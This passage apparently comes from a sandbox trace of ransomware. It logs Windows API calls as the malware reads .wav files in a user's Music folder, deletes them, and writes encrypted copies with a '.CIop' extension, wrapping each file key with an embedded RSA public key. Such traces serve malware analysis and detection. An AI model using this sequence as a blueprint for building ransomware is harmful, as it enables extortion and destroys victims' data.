MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0096.660] lstrcpyW (in: lpString1=0x2fef368, lpString2="bWUX20g7Mm7g1y.wav" | out: lpString1="bWUX20g7Mm7g1y.wav") returned="bWUX20g7Mm7g1y.wav" [0096.660] lstrcpyW (in: lpString1=0x2fef768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" [0096.660] SetErrorMode (uMode=0x1) returned 0x1 [0096.660] wsprintfW (in: param_1=0x2feeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\bWUX20g7Mm7g1y.wav") returned 69 [0096.660] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\bWUX20g7Mm7g1y.wav", dwFileAttributes=0x20) returned 1 [0096.660] StrStrW (lpFirst="bWUX20g7Mm7g1y.wav", lpSrch=".CIop") returned 0x0 [0096.660] wsprintfW (in: param_1=0x2fee758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\bWUX20g7Mm7g1y.wav.CIop") returned 74 [0096.661] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\bWUX20g7Mm7g1y.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\bwux20g7mm7g1y.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0096.661] ReadFile (in: hFile=0x4e0, lpBuffer=0x63ccf8, nNumberOfBytesToRead=0xb902, lpNumberOfBytesRead=0x2fee5e8, lpOverlapped=0x0 | out: lpBuffer=0x63ccf8*, lpNumberOfBytesRead=0x2fee5e8*=0xb902, lpOverlapped=0x0) returned 1 [0096.661] CloseHandle (hObject=0x4e0) returned 1 [0096.661] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\bWUX20g7Mm7g1y.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\bwux20g7mm7g1y.wav")) returned 1 [0096.663] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ff0000 [0096.663] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0096.663] SetErrorMode (uMode=0x1) returned 0x1 [0096.663] CryptAcquireContextW (in: phProv=0x2fee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2fee5b8*=0x654690) returned 1 [0096.665] CryptGenKey (in: hProv=0x654690, Algid=0x1, dwFlags=0x4000, phKey=0x2fee5bc | out: phKey=0x2fee5bc*=0x5c3190) returned 1 [0096.676] CryptExportKey (in: hKey=0x5c3190, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2fee5ec | out: pbData=0x0*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0096.676] CryptExportKey (in: hKey=0x5c3190, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3000000, pdwDataLen=0x2fee5ec | out: pbData=0x3000000*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0096.676] CryptDestroyKey (hKey=0x5c3190) returned 1 [0096.676] CryptReleaseContext (hProv=0x654690, dwFlags=0x0) returned 1 [0096.676] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\bWUX20g7Mm7g1y.wav.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\bwux20g7mm7g1y.wav.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0096.676] WriteFile (in: hFile=0x4e0, lpBuffer=0x63ccf8*, nNumberOfBytesToWrite=0xb902, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x63ccf8*, lpNumberOfBytesWritten=0x2fee5d8*=0xb902, lpOverlapped=0x0) returned 1 [0096.677] SetFilePointer (in: hFile=0x4e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xb902 [0096.677] WriteFile (in: hFile=0x4e0, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2fee5d8*=0x7, lpOverlapped=0x0) returned 1 [0096.677] SetFilePointer (in: hFile=0x4e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xb909 [0096.677] SetErrorMode (uMode=0x1) returned 0x1 [0096.677] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0096.677] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0096.677] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2fed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598 | out: pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598) returned 1 [0096.678] CryptAcquireContextW (in: phProv=0x2fed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2fed5a8*=0x655130) returned 1 [0096.678] CryptImportPublicKeyInfoEx (in: hCryptProv=0x655130, dwCertEncodingType=0x1, pInfo=0x5c2070, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2fed5b0 | out: phKey=0x2fed5b0*=0x5c3190) returned 1 [0096.678] CryptEncrypt (in: hKey=0x5c3190, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2fed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2fed5b4*=0x80) returned 1 [0096.678] CryptEncrypt (in: hKey=0x5c3190, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6548b0*, pdwDataLen=0x2fed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x6548b0*, pdwDataLen=0x2fed5a4*=0x80) returned 1 [0096.678] WriteFile (in: hFile=0x4e0, lpBuffer=0x6548b0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x6548b0*, lpNumberOfBytesWritten=0x2fee5d8*=0x80, lpOverlapped=0x0) returned 1 [0096.678] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.679] VirtualFree (lpAddress=0x2ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.679] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.679] CloseHandle (hObject=0x4e0) returned 1 [0096.680] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\bWUX20g7Mm7g1y.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\bwux20g7mm7g1y.wav")) returned 0 Thread: id = 122 os_tid = 0x878 [0096.701] lstrcpyA (in: lpString1=0x2fee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0096.701] lstrcpyW (in: lpString1=0x2fef368, lpString2="g8L7418FmZslF.wav" | out: lpString1="g8L7418FmZslF.wav") returned="g8L7418FmZslF.wav" [0096.701] lstrcpyW (in: lpString1=0x2fef768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" [0096.701] SetErrorMode (uMode=0x1) returned 0x1 [0096.701] wsprintfW (in: param_1=0x2feeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\g8L7418FmZslF.wav") returned 68 [0096.701] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\g8L7418FmZslF.wav", dwFileAttributes=0x20) returned 1 [0096.702] StrStrW (lpFirst="g8L7418FmZslF.wav", lpSrch=".CIop") returned 0x0 [0096.702] wsprintfW (in: param_1=0x2fee758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\g8L7418FmZslF.wav.CIop") returned 73 [0096.702] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\g8L7418FmZslF.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\g8l7418fmzslf.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0096.702] ReadFile (in: hFile=0x4ec, lpBuffer=0x63ccf8, nNumberOfBytesToRead=0x68f3, lpNumberOfBytesRead=0x2fee5e8, lpOverlapped=0x0 | out: lpBuffer=0x63ccf8*, lpNumberOfBytesRead=0x2fee5e8*=0x68f3, lpOverlapped=0x0) returned 1 [0096.703] CloseHandle (hObject=0x4ec) returned 1 [0096.703] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\g8L7418FmZslF.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\g8l7418fmzslf.wav")) returned 1 [0096.705] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ff0000 [0096.705] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0096.706] SetErrorMode (uMode=0x1) returned 0x1 [0096.706] CryptAcquireContextW (in: phProv=0x2fee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2fee5b8*=0x654690) returned 1 [0096.708] CryptGenKey (in: hProv=0x654690, Algid=0x1, dwFlags=0x4000, phKey=0x2fee5bc | out: phKey=0x2fee5bc*=0x5d6a88) returned 1 [0096.732] CryptExportKey (in: hKey=0x5d6a88, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2fee5ec | out: pbData=0x0*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0096.732] CryptExportKey (in: hKey=0x5d6a88, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3000000, pdwDataLen=0x2fee5ec | out: pbData=0x3000000*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0096.732] CryptDestroyKey (hKey=0x5d6a88) returned 1 [0096.732] CryptReleaseContext (hProv=0x654690, dwFlags=0x0) returned 1 [0096.732] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\g8L7418FmZslF.wav.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\g8l7418fmzslf.wav.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0096.732] WriteFile (in: hFile=0x4fc, lpBuffer=0x63ccf8*, nNumberOfBytesToWrite=0x68f3, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x63ccf8*, lpNumberOfBytesWritten=0x2fee5d8*=0x68f3, lpOverlapped=0x0) returned 1 [0096.733] SetFilePointer (in: hFile=0x4fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x68f3 [0096.733] WriteFile (in: hFile=0x4fc, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2fee5d8*=0x7, lpOverlapped=0x0) returned 1 [0096.733] SetFilePointer (in: hFile=0x4fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x68fa [0096.733] SetErrorMode (uMode=0x1) returned 0x1 [0096.733] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0096.733] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0096.733] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2fed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598 | out: pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598) returned 1 [0096.733] CryptAcquireContextW (in: phProv=0x2fed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2fed5a8*=0x6550a8) returned 1 [0096.734] CryptImportPublicKeyInfoEx (in: hCryptProv=0x6550a8, dwCertEncodingType=0x1, pInfo=0x5c0a80, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2fed5b0 | out: phKey=0x2fed5b0*=0x5d6488) returned 1 [0096.734] CryptEncrypt (in: hKey=0x5d6488, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2fed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2fed5b4*=0x80) returned 1 [0096.734] CryptEncrypt (in: hKey=0x5d6488, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x654718*, pdwDataLen=0x2fed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x654718*, pdwDataLen=0x2fed5a4*=0x80) returned 1 [0096.734] WriteFile (in: hFile=0x4fc, lpBuffer=0x654718*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x654718*, lpNumberOfBytesWritten=0x2fee5d8*=0x80, lpOverlapped=0x0) returned 1 [0096.734] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.734] VirtualFree (lpAddress=0x2ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.734] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.735] CloseHandle (hObject=0x4fc) returned 1 [0096.735] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\g8L7418FmZslF.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\g8l7418fmzslf.wav")) returned 0 Thread: id = 123 os_tid = 0x518 [0096.737] lstrcpyA (in: lpString1=0x314e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0096.737] lstrcpyW (in: lpString1=0x314f368, lpString2="lqlP4y.wav" | out: lpString1="lqlP4y.wav") returned="lqlP4y.wav" [0096.737] lstrcpyW (in: lpString1=0x314f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" [0096.737] SetErrorMode (uMode=0x1) returned 0x1 [0096.737] wsprintfW (in: param_1=0x314eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\lqlP4y.wav") returned 61 [0096.737] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\lqlP4y.wav", dwFileAttributes=0x20) returned 1 [0096.737] StrStrW (lpFirst="lqlP4y.wav", lpSrch=".CIop") returned 0x0 [0096.737] wsprintfW (in: param_1=0x314e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\lqlP4y.wav.CIop") returned 66 [0096.737] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\lqlP4y.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\lqlp4y.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0096.738] ReadFile (in: hFile=0x4e0, lpBuffer=0x656668, nNumberOfBytesToRead=0x1724a, lpNumberOfBytesRead=0x314e5e8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesRead=0x314e5e8*=0x1724a, lpOverlapped=0x0) returned 1 [0096.739] CloseHandle (hObject=0x4e0) returned 1 [0096.739] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\lqlP4y.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\lqlp4y.wav")) returned 1 [0096.741] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0096.741] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0096.741] SetErrorMode (uMode=0x1) returned 0x1 [0096.741] CryptAcquireContextW (in: phProv=0x314e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x314e5b8*=0x654690) returned 1 [0096.743] CryptGenKey (in: hProv=0x654690, Algid=0x1, dwFlags=0x4000, phKey=0x314e5bc | out: phKey=0x314e5bc*=0x649278) returned 1 [0096.843] CryptExportKey (in: hKey=0x649278, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x314e5ec | out: pbData=0x0*, pdwDataLen=0x314e5ec*=0x94) returned 1 [0096.843] CryptExportKey (in: hKey=0x649278, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x314e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x314e5ec*=0x94) returned 1 [0096.843] CryptDestroyKey (hKey=0x649278) returned 1 [0096.843] CryptReleaseContext (hProv=0x654690, dwFlags=0x0) returned 1 [0096.843] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\lqlP4y.wav.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\lqlp4y.wav.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0096.843] WriteFile (in: hFile=0x504, lpBuffer=0x656668*, nNumberOfBytesToWrite=0x1724a, lpNumberOfBytesWritten=0x314e5d8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesWritten=0x314e5d8*=0x1724a, lpOverlapped=0x0) returned 1 [0096.845] SetFilePointer (in: hFile=0x504, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1724a [0096.845] WriteFile (in: hFile=0x504, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x314e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x314e5d8*=0x7, lpOverlapped=0x0) returned 1 [0096.845] SetFilePointer (in: hFile=0x504, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x17251 [0096.845] SetErrorMode (uMode=0x1) returned 0x1 [0096.845] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0096.845] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x314d5b8, pcbBinary=0x314d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x314d5b8, pcbBinary=0x314d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0096.845] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x314d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x314d5a0, pcbStructInfo=0x314d598 | out: pvStructInfo=0x314d5a0, pcbStructInfo=0x314d598) returned 1 [0096.845] CryptAcquireContextW (in: phProv=0x314d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d5a8*=0x654828) returned 1 [0096.846] CryptImportPublicKeyInfoEx (in: hCryptProv=0x654828, dwCertEncodingType=0x1, pInfo=0x5c2210, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x314d5b0 | out: phKey=0x314d5b0*=0x648f38) returned 1 [0096.846] CryptEncrypt (in: hKey=0x648f38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x314d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x314d5b4*=0x80) returned 1 [0096.846] CryptEncrypt (in: hKey=0x648f38, hHash=0x0, Final=1, 